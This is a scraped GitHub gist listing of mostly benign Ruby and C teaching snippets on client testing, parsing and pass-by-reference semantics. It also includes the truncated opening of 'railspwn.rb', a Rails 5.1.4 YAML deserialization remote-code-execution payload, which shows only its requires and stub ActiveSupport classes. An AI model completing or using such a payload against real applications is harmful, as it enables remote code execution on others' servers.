Skip to content

Instantly share code, notes, and snippets.

Josh Cheek JoshCheek

Block or report user

Report or block JoshCheek

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@niklasb
niklasb / railspwn.rb
Last active Jul 23, 2019
Rails 5.1.4 YAML unsafe deserialization RCE payload
View railspwn.rb
require 'yaml'
require 'base64'
require 'erb'
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
@JoshCheek
JoshCheek / testing_a_client_for_a_backend_app.rb
Last active Aug 29, 2015
How to test a client for a backend app. Creates a simple app, simple client, consumes it with rack-test, starts it up on a server, consumes it with restclient.
View testing_a_client_for_a_backend_app.rb
# backend app
require 'sinatra/base'
require 'json'
class UsersController < Sinatra::Base
get '/users/:id' do
JSON.dump id: params[:id].to_i, name: "Josh"
end
end
@JoshCheek
JoshCheek / project_ideas.md
Created Sep 6, 2013
Some ideas for projects to work on after RKS.
View project_ideas.md
  • Implement your own Enumerable module! (this will give you some exposure to functional programming ideas and help you understand how modules work)
  • Implement the entire Array class using a linked list and give it much of its functionality by including your Enumerable module! (this will give you experience with some not too complex algorithms, as well as more Ruby exposure, familiarity with the Array class, and a realization that almost everything in Ruby you can implement yourself if you want, Array isn't special other than its literals, also we'll implement it using a linked list, so some CS core ideas, and an opportunity for me to give you a code review and probably expose you to functional ideas by showing you how I implemented it)
  • Implement curry (not too difficult and will give you more exposure to functional ideas)
  • Maybe some of the string functions (or maybe not, the real benefit here is that you would get experience with problem solving and algorithms, we may decide that isn't relevant)
  • Top-do
View ripper_again_yalls.rb
require 'ripper'
Ripper::SexpBuilder.instance_methods.grep(/error/i) # => [:on_alias_error, :on_assign_error, :on_class_name_error, :on_param_error, :on_parse_error]
class DemoBuilder < Ripper::SexpBuilder
instance_methods.each do |meth_name|
next unless meth_name =~ /^on_/
super_meth = instance_method meth_name
define_method meth_name do |*args|
super_meth.bind(self).call(*args).tap do |result|
@JoshCheek
JoshCheek / pass_by_x.c
Created Apr 27, 2011
Why "pass by value" and "pass by reference" are meaningless phrases
View pass_by_x.c
/* The problem with phrases like "pass by value", "pass by object reference", and "pass by reference"
* is that they are utterly meaningless becaues there are three perspectives one can take when trying
* to classify these things.
*/
typedef struct { int value; } Object;
/* PERSPECTIVE 1: The parameters of the function being called (this is the one that _should_ matter) */
void function_by_value (Object o) { }
@JoshCheek
JoshCheek / ideas.textile
Created Nov 8, 2010
Next Lightning Talk ideas
View ideas.textile

http://tinyurl.com/josh-lightning-talks

  • Present trip to RDRC
  • How to contribute to F/OSS
  • Ruby method overloading
  • Chem timer
  • Land of Lisp book review
  • Metaprogramming Ruby book review
  • Cucumber Watir example
@JoshCheek
JoshCheek / README
Created Nov 22, 2009
Testing the differences between references and pointers
View README
*PURPOSE:
This is a test to evaluate the underlying difference between references and pointers.
*PROCESS:
The session can be seen in this image http://grab.by/Jbi
First:
Create a file that uses references (references.cpp), then duplicate it using pointers(pointers.cpp)
You can’t perform that action at this time.